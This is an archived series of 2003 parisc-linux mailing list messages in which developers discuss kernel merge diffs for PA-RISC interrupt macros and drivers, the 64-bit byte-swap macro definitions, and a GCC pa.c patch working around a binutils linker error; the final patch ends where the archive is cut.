Message-ID: <3EFD6F6D.8080403@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622544 27065 80.91.229.3 (22 Nov 2014 02:15:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:44 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jun 28 06:51:19 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id 125514829
	for <parisc-linux@parisc-linux.org>; Sat, 28 Jun 2003 06:51:19 -0600 (MDT)
Original-Received: from smtp-out.tiscali.be (spoolo1.tiscali.be [62.235.13.210])
	by cuprel1.hp.com (Postfix) with ESMTP id AE4F18DE
	for <parisc-linux@parisc-linux.org>; Sat, 28 Jun 2003 03:20:42 -0700 (PDT)
Original-Received: from [62.235.173.92] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 19WCoe-0000bV-00; Sat, 28 Jun 2003 12:20:20 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.3.1) Gecko/20030618 Debian/1.3.1-3
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18763


-------- Original Message --------
Subject: 	Re: [parisc-linux] warning: minor abi change
Date: 	Fri, 27 Jun 2003 09:15:46 -0600
From: 	Grant Grundler <grundler@parisc-linux.org>
To: 	Joel Soete <jsoe0708@tiscali.be>
References: 	<20030626170628.GO451@parcelfarce.linux.theplanet.co.uk> 
<3ED70CF10000AD97@ocpmta2.freegates.net>



On Fri, Jun 27, 2003 at 04:41:13PM +0200, Joel Soete wrote:
> But mainly, as promise I co 2.4.21-p0 and copare with my merge and notice
> some requested add patch:
> diff -NaurX dontdiff linux-2.4.21-pa0/drivers/ide/pci/ns87415.c linux-2.4.21-rc8-pa35/drivers/ide/pci/ns87415.c

This is for c3000/j5000/et al workstations.
NS "SuckyIO" multifunction chip includes ns87415 compatible IDE controller.

...
> +#define __save_and_cli(x)  do { __save_flags(x); __cli(); } while(0);
> +#define __save_and_sti(x)  do { __save_flags(x); __sti(); } while(0);
> +

This is something different - but I'd think this is needed too.
Make sure this isn't a merge error (ie see if it's defined elsewhere).

> btw I also test following stuff which seems to works too:
> diff -NaurX dontdiff linux-2.4.21-pa0/include/asm-parisc/system_irqsave.h.mine
> linux-2.4.21-rc8-pa35/include/asm-parisc/system_irqsave.h.mine
> --- linux-2.4.21-pa0/include/asm-parisc/system_irqsave.h.mine	1970-01-01
> 01:00:00.000000000 +0100
> +++ linux-2.4.21-rc8-pa35/include/asm-parisc/system_irqsave.h.mine	2003-06-27
> 15:50:11.000000000 +0200
> @@ -0,0 +1,21 @@
> +#ifndef __PARISC_SYSTEM_IRQSAVE_H
> +#define __PARISC_SYSTEM_IRQSAVE_H
> +
> +/* interrupt control */
> +#define __save_flags(x)	__asm__ __volatile__("ssm 0, %0" : "=r" (x) : :
> "memory")
> +#define __restore_flags(x) __asm__ __volatile__("mtsm %0" : : "r" (x) :
> "memory")
> +#define __cli()	__asm__ __volatile__("rsm %0,%%r0\n" : : "i" (PSW_I) : "memory"
> )
> +#define __sti()	__asm__ __volatile__("ssm %0,%%r0\n" : : "i" (PSW_I) : "memory"
> )
> +
> +#define __save_and_cli(x)  do { __save_flags(x); __cli(); } while(0);
> +#define __save_and_sti(x)  do { __save_flags(x); __sti(); } while(0);
> +
> +/* For spinlocks etc */
> +#define local_irq_save(x)  __save_and_cli(x)
> +#define local_irq_set(x)   __save_and_sti(x)
> +
> +#define local_irq_restore(x) __restore_flags(x)
> +#define local_irq_disable() __cli()
> +#define local_irq_enable()  __sti()
> +
> +#endif /* __PARISC_SYSTEM_IRQSAVE_H */


This looks more familiar to me..but I'd need to review the whole tree and
can't do that right now.

> +0200
> +++ linux-2.4.21-rc8-pa35/arch/parisc/kernel/processor.c	2002-12-20 15:56:19.000000000
> +0100
> @@ -77,8 +77,6 @@
>  	unsigned long txn_addr;
>  	unsigned long cpuid;
>  	struct cpuinfo_parisc *p;
> -	extern struct irq_region_ops cpu_irq_ops; /* arch/parisc...irq.c */
> -	extern struct irqaction cpu_irq_actions[]; /* arch/parisc...irq.c */


If they are no longer referenced, that's fine.
I didn't really want these published in a header file if they are still
referenced.  But it's not a big deal if they are.

...
> - Grant what do you think about this:
> 
> diff -NaurX dontdiff linux-2.4.21-pa0/drivers/sound/ad1889.c linux-2.4.21-rc8-pa35/drivers/sound/ad1889.c
> --- linux-2.4.21-pa0/drivers/sound/ad1889.c	2003-06-27 07:46:37.000000000
> +0200
> +++ linux-2.4.21-rc8-pa35/drivers/sound/ad1889.c	2003-05-08 22:43:44.000000000
...

That's fine with me.
If AD had published decent specs for this chip, we could actually
get it workng. I only hacked around on it enough to get DMA sort of
working and *some* sounds came out of it.

> - another cleanup (don't remember why :-?)
...
> Comments:
> 
> - The first changes (xxx_bad(void)) was agreed earlier by Randolph but never
> comited (?). The goal is to breack the build of the kernel and so avoid the
> risk to boot one (as I do when I test evms or [xj]fs which required __put_XXX_asm64)
> which can unexpected damages

yes - that's good

> - The second replace Randolph __put_XXX_asm64(); it does the same job and
> avoid severall warning at compile time as:

good too

I need the above changes in a format that I apply with "patch -p1 < diff"
(or -p0) if you want me to commit them.

thanks,
grant





From - Thu Nov 08 21:28:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] warning: minor abi change
Date: Sat, 28 Jun 2003 10:48:23 +0000
Lines: 97
Approved: news@gmane.org
Message-ID: <3EFD7277.7010605@tiscali.be>
References: <20030627151546.GA30607@dsl2.external.hp.com> <3ED70CF10000AE2E@ocpmta2.freegates.net> <20030627165451.GB371@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622544 27068 80.91.229.3 (22 Nov 2014 02:15:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:44 +0000 (UTC)
Cc: Joel Soete <jsoe0708@tiscali.be>,
	parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jun 28 07:05:31 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo1.tiscali.be [62.235.13.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5ADF9483C
	for <parisc-linux@lists.parisc-linux.org>; Sat, 28 Jun 2003 07:05:31 -0600 (MDT)
Original-Received: from [62.235.173.92] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 19WD1B-00011U-00; Sat, 28 Jun 2003 12:33:17 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.3.1) Gecko/20030618 Debian/1.3.1-3
X-Accept-Language: en
In-Reply-To: <20030627165451.GB371@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18764

Grant Grundler wrote:

>Joel,
>I mistakenly replied only to you on my previous mail.
>Can you please forward my previous reply to parisc-linux mailing list
>or send a copy back to me - I'll post it to the list then.
>
No pb, I kust forward it to the p-l ml.

>
>On Fri, Jun 27, 2003 at 06:14:58PM +0200, Joel Soete wrote:
>  
>
>>Hi Grant,
>>
>>    
>>
>>>diff -NaurX dontdiff linux-2.4.21-pa0/drivers/ide/pci/ns87415.c linux-2.4.21-rc8-pa35/drivers/ide/pci/ns87415.c
>>>      
>>>
>>>This is for c3000/j5000/et al workstations.
>>>NS "SuckyIO" multifunction chip includes ns87415 compatible IDE controller.
>>>      
>>>
>>...
>>    
>>
>>>>+#define __save_and_cli(x)  do { __save_flags(x); __cli(); } while(0);
>>>>+#define __save_and_sti(x)  do { __save_flags(x); __sti(); } while(0);
>>>>+
>>>>        
>>>>
>>>This is something different - but I'd think this is needed too.
>>>Make sure this isn't a merge error (ie see if it's defined elsewhere).
>>>      
>>>
>>I need it to make work my ide cdrom onto my b2k (I grab this stuff
>>from another platform)
>>    
>>
>
>ah ok.
>
>The IDE CDROM are pretty standard devices. Note the DMA does NOT work.
>And even with PIO mode, it just barely works - enough to do an install.
>So don't use it too much unless you can afford to crash your box.
>At least that was my experience with 2.4.19 or so.
>
Yes also experiment this inconvinience. I just needed it to install the 
initial debian (in its time) and now to read some doc or small ft via rw-cd.

>>The following stuff is just a variant (just for info)
>>    
>>
>
>ok.
>
>...
>  
>
>>>If they are no longer referenced, that's fine.
>>>      
>>>
>>hmm in fact the last ref of 'cpu_irq_actions' is in arch/parisc/kernel/processor.c
>>and now embrace by #if 0 [...] #endif
>>(I will see to cleanup too)
>>...
>>    
>>
>
>ok
>
>  
>
>>>I need the above changes in a format that I apply with "patch -p1 < diff"
>>>      
>>>
>>Here is attached Mydiff2421.txt
>>    
>>
>
>ok. let me apply local and try it out first.
>
Logical

> If all is well, should see
>something by this weekend.
>  
>
It works for my b180 and b2k. I will test it also on the N (still UP 
mode) next week.

Good luck and thanks for your attention,
    Joel




From - Thu Nov 08 21:28:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] byte swapping redux
Date: Sun, 29 Jun 2003 12:14:15 -0600
Lines: 34
Approved: news@gmane.org
Message-ID: <20030629181415.GA21094@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622544 27071 80.91.229.3 (22 Nov 2014 02:15:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:44 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jun 29 12:14:15 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id BED544829; Sun, 29 Jun 2003 12:14:15 -0600 (MDT)
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18765

Hi all,

Can someone explain why include/asm-parisc/byteorder.h uses the following?

#if !defined(__STRICT_ANSI__) || defined(__KERNEL__)
#  define __BYTEORDER_HAS_U64__
#  define __SWAB_64_THRU_32__
#endif

vs include/asm-sparc64/byeorder.h:
#define __BYTEORDER_HAS_U64__

I'm pretty sure we don't want __SWAB_64_THRU_32__ defined.
PA-RISC version of ___arch__swab64() is appropriately defined for
both 32 and 64-bit compiles.

For reference include/linux/byteorder/swab.h says:
#ifdef __BYTEORDER_HAS_U64__
static __inline__ __const__ __u64 __fswab64(__u64 x)
{
#  ifdef __SWAB_64_THRU_32__
        __u32 h = x >> 32;
        __u32 l = x & ((1ULL<<32)-1);
        return (((__u64)__swab32(l)) << 32) |
		((__u64)(__swab32(h)));
#  else
        return __arch__swab64(x);
#  endif
}
...

thanks,
grant


From - Thu Nov 08 21:28:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] byte swapping redux
Date: Sun, 29 Jun 2003 12:33:13 -0600
Lines: 14
Approved: news@gmane.org
Message-ID: <20030629183313.GB21094@dsl2.external.hp.com>
References: <20030629181415.GA21094@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622545 27075 80.91.229.3 (22 Nov 2014 02:15:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:45 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jun 29 12:33:13 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id BFF4F4829; Sun, 29 Jun 2003 12:33:13 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20030629181415.GA21094@dsl2.external.hp.com>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18766

On Sun, Jun 29, 2003 at 12:14:15PM -0600, Grant Grundler wrote:
> #if !defined(__STRICT_ANSI__) || defined(__KERNEL__)
> #  define __BYTEORDER_HAS_U64__
> #  define __SWAB_64_THRU_32__
> #endif
> 
> vs include/asm-sparc64/byeorder.h:
> #define __BYTEORDER_HAS_U64__

BTW, I forgot to mention parisc is picking generic 64-bit swap macros.
Instead of 4 cycles, we are talking 30 or so.

grant


From - Thu Nov 08 21:28:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] byte swapping redux
Date: Sun, 29 Jun 2003 19:41:50 +0100
Lines: 27
Approved: news@gmane.org
Message-ID: <20030629184150.GX31618@parcelfarce.linux.theplanet.co.uk>
References: <20030629181415.GA21094@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622545 27077 80.91.229.3 (22 Nov 2014 02:15:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:45 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jun 29 12:41:52 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2D9FA4856
	for <parisc-linux@lists.parisc-linux.org>; Sun, 29 Jun 2003 12:41:52 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.14)
	id 19Wh7W-0002AI-Jx; Sun, 29 Jun 2003 19:41:50 +0100
Content-Disposition: inline
In-Reply-To: <20030629181415.GA21094@dsl2.external.hp.com>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18767

On Sun, Jun 29, 2003 at 12:14:15PM -0600, Grant Grundler wrote:
> Hi all,
> 
> Can someone explain why include/asm-parisc/byteorder.h uses the following?
> 
> #if !defined(__STRICT_ANSI__) || defined(__KERNEL__)
> #  define __BYTEORDER_HAS_U64__
> #  define __SWAB_64_THRU_32__
> #endif

Protection against userspace inclusion.  Which shouldn't be happening
of course, but some userspace programs are crap.

> vs include/asm-sparc64/byeorder.h:
> #define __BYTEORDER_HAS_U64__
> 
> I'm pretty sure we don't want __SWAB_64_THRU_32__ defined.
> PA-RISC version of ___arch__swab64() is appropriately defined for
> both 32 and 64-bit compiles.

Take it out then; if it works, commit it (to 2.5 anyway).

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:28:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] binutils ICE while building todays gcc HEAD on hppa-linux
Date: Sun, 29 Jun 2003 14:44:03 -0400 (EDT)
Lines: 612
Approved: news@gmane.org
Message-ID: <200306291844.h5TIi3Wx026630__31416.7224955328$1416622545$gmane$org@hiauly1.hia.nrc.ca>
References: <16122.5027.155918.686357@gargle.gargle.HOWL>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622545 27078 80.91.229.3 (22 Nov 2014 02:15:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:45 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, binutils@sources.redhat.com,
	jakub@redhat.com, gcc-patches@gcc.gnu.org
To: doko@cs.tu-berlin.de (Matthias Klose)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jun 29 12:44:13 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id F2A4D4829
	for <parisc-linux@lists.parisc-linux.org>; Sun, 29 Jun 2003 12:44:12 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9) with ESMTP id h5TIi4gL026631;
	Sun, 29 Jun 2003 14:44:05 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9/Submit) id h5TIi3Wx026630;
	Sun, 29 Jun 2003 14:44:03 -0400 (EDT)
In-Reply-To: <16122.5027.155918.686357@gargle.gargle.HOWL> from "Matthias Klose" at Jun 25, 2003 11:26:59 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18768

> ICE in binutils-2.14.90.0.4 building gcc HEAD 20030625, while linking
> the shared libstdc++ library:
> 
> [...]
> -Wl,-soname -Wl,libstdc++.so.6 -o .libs/libstdc++.so.6.0.0
> /usr/bin/ld: BFD 2.14.90.0.4 20030523 Debian GNU/Linux internal error, aborting at ../../bfd/elf32-hppa.c line 3864 in elf32_hppa_relocate_section
> 
> /usr/bin/ld: Please report this bug.

I have installed the enclosed patch on the gcc trunk to work around the
above error.  There still isn't a good fix for the linker error.

The patch works around the problem by not using function descriptors
for the jump from a thunk on PA ports that define ASM_OUTPUT_DEF
(hppa-linux, hppa64-hpux).

In general, thunk and call sequence generation should be improved,
although things have gotten more complicated :(  The patch fixes
a bug in the updating and usage of total_code_bytes.  We were incorrectly
including linkonce sections in total_code_bytes and this caused a long
sequence to be used in some cases when a short sequence would do.

Tested with no regressions on hppa-unknown-linux-gnu, hppa2.0w-hp-hpux11.00
and hppa64-hp-hpux11.11.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

2003-06-29  John David Anglin  <dave.anglin@nrc-cnrc.gc.ca>

        * pa.c (update_total_code_bytes): New function.
	(last_address): Number of bytes output for a function and its
	associated thunks.
	(compute_frame_size): Use BITS_PER_UNIT.
	(pa_output_function_epilogue): Compute last_address.  Use
	update_total_code_bytes.
	(output_lbranch): Handle long branch on portable runtime.
	(attr_length_millicode_call, attr_length_call,
	attr_length_indirect_call): Only use total_code_bytes for calls in
	the text section.
	(output_call): Only use an indirect call sequence when the target is
	not local.
	(pa_asm_output_mi_thunk): Handle updating of total_code_bytes.  Improve
	test to determine when an IA-relative branch can be used.  Add various
	long branch sequences.  Avoid using an indirect branch on all ports
	except SOM.

Index: config/pa/pa.c
===================================================================
RCS file: /cvs/gcc/gcc/gcc/config/pa/pa.c,v
retrieving revision 1.216
diff -u -3 -p -r1.216 pa.c
--- config/pa/pa.c	19 Jun 2003 21:47:19 -0000	1.216
+++ config/pa/pa.c	29 Jun 2003 16:35:11 -0000
@@ -113,6 +113,7 @@ static void store_reg_modify PARAMS ((in
 static void load_reg PARAMS ((int, int, int));
 static void set_reg_plus_d PARAMS ((int, int, int, int));
 static void pa_output_function_prologue PARAMS ((FILE *, HOST_WIDE_INT));
+static void update_total_code_bytes PARAMS ((int));
 static void pa_output_function_epilogue PARAMS ((FILE *, HOST_WIDE_INT));
 static int pa_adjust_cost PARAMS ((rtx, rtx, rtx, int));
 static int pa_adjust_priority PARAMS ((rtx, int));
@@ -169,10 +170,15 @@ static int gr_saved, fr_saved;
 
 static rtx find_addr_reg PARAMS ((rtx));
 
-/* Keep track of the number of bytes we have output in the CODE subspaces
+/* Keep track of the number of bytes we have output in the CODE subspace
    during this compilation so we'll know when to emit inline long-calls.  */
 unsigned long total_code_bytes;
 
+/* The last address of the previous function plus the number of bytes in
+   associated thunks that have been output.  This is used to determine if
+   a thunk can use an IA-relative branch to reach its target function.  */
+static int last_address;
+
 /* Variables to handle plabels that we discover are necessary at assembly
    output time.  They are output after the current function.  */
 struct deferred_plabel GTY(())
@@ -3292,8 +3298,8 @@ compute_frame_size (size, fregs_live)
     size += TARGET_64BIT ? 48 : 32;
 
   /* Finally, round to the preferred stack boundary.  */
-  return ((size + PREFERRED_STACK_BOUNDARY / 8 - 1)
-	  & ~(PREFERRED_STACK_BOUNDARY / 8 - 1));
+  return ((size + PREFERRED_STACK_BOUNDARY / BITS_PER_UNIT - 1)
+	  & ~(PREFERRED_STACK_BOUNDARY / BITS_PER_UNIT - 1));
 }
 
 /* Generate the assembly code for function entry.  FILE is a stdio
@@ -3681,6 +3687,30 @@ load_reg (reg, disp, base)
     }
 }
 
+/* Update the total code bytes output to the text section.  */
+
+static void
+update_total_code_bytes (nbytes)
+     int nbytes;
+{
+  if ((TARGET_PORTABLE_RUNTIME || !TARGET_GAS || !TARGET_SOM)
+      && in_text_section ())
+    {
+      if (INSN_ADDRESSES_SET_P ())
+	{
+	  unsigned long old_total = total_code_bytes;
+
+	  total_code_bytes += nbytes;
+
+	  /* Be prepared to handle overflows.  */
+	  if (old_total > total_code_bytes)
+	    total_code_bytes = -1;
+	}
+      else
+	total_code_bytes = -1;
+    }
+}
+
 /* This function generates the assembly code for function exit.
    Args are as for output_function_prologue ().
 
@@ -3694,9 +3724,10 @@ pa_output_function_epilogue (file, size)
      FILE *file;
      HOST_WIDE_INT size ATTRIBUTE_UNUSED;
 {
-  int last_address = 0;
   rtx insn = get_last_insn ();
 
+  last_address = 0;
+
   /* hppa_expand_epilogue does the dirty work now.  We just need
      to output the assembler directives which denote the end
      of a function.
@@ -3724,29 +3755,18 @@ pa_output_function_epilogue (file, size)
 
   fputs ("\t.EXIT\n\t.PROCEND\n", file);
 
-  /* Finally, update the total number of code bytes output so far.  */
-  if ((TARGET_PORTABLE_RUNTIME || !TARGET_GAS || !TARGET_SOM)
-      && !flag_function_sections)
+  if (INSN_ADDRESSES_SET_P ())
     {
-      if (INSN_ADDRESSES_SET_P ())
-	{
-	  unsigned long old_total = total_code_bytes;
-
-	  insn = get_last_nonnote_insn ();
-	  last_address += INSN_ADDRESSES (INSN_UID (insn));
-	  if (INSN_P (insn))
-	    last_address += insn_default_length (insn);
-
-	  total_code_bytes += last_address;
-	  total_code_bytes += FUNCTION_BOUNDARY / BITS_PER_UNIT;
-
-	  /* Be prepared to handle overflows.  */
-	  if (old_total > total_code_bytes)
-	    total_code_bytes = -1;
-	}
-      else
-	total_code_bytes = -1;
+      insn = get_last_nonnote_insn ();
+      last_address += INSN_ADDRESSES (INSN_UID (insn));
+      if (INSN_P (insn))
+	last_address += insn_default_length (insn);
+      last_address = ((last_address + FUNCTION_BOUNDARY / BITS_PER_UNIT - 1)
+		      & ~(FUNCTION_BOUNDARY / BITS_PER_UNIT - 1));
     }
+
+  /* Finally, update the total number of code bytes output so far.  */
+  update_total_code_bytes (last_address);
 }
 
 void
@@ -5904,7 +5924,13 @@ output_lbranch (dest, insn)
 	output_asm_insn ("stw %%r1,-12(%%r30)", xoperands);
     }
 
-  if (flag_pic)
+  if (TARGET_PORTABLE_RUNTIME)
+    {
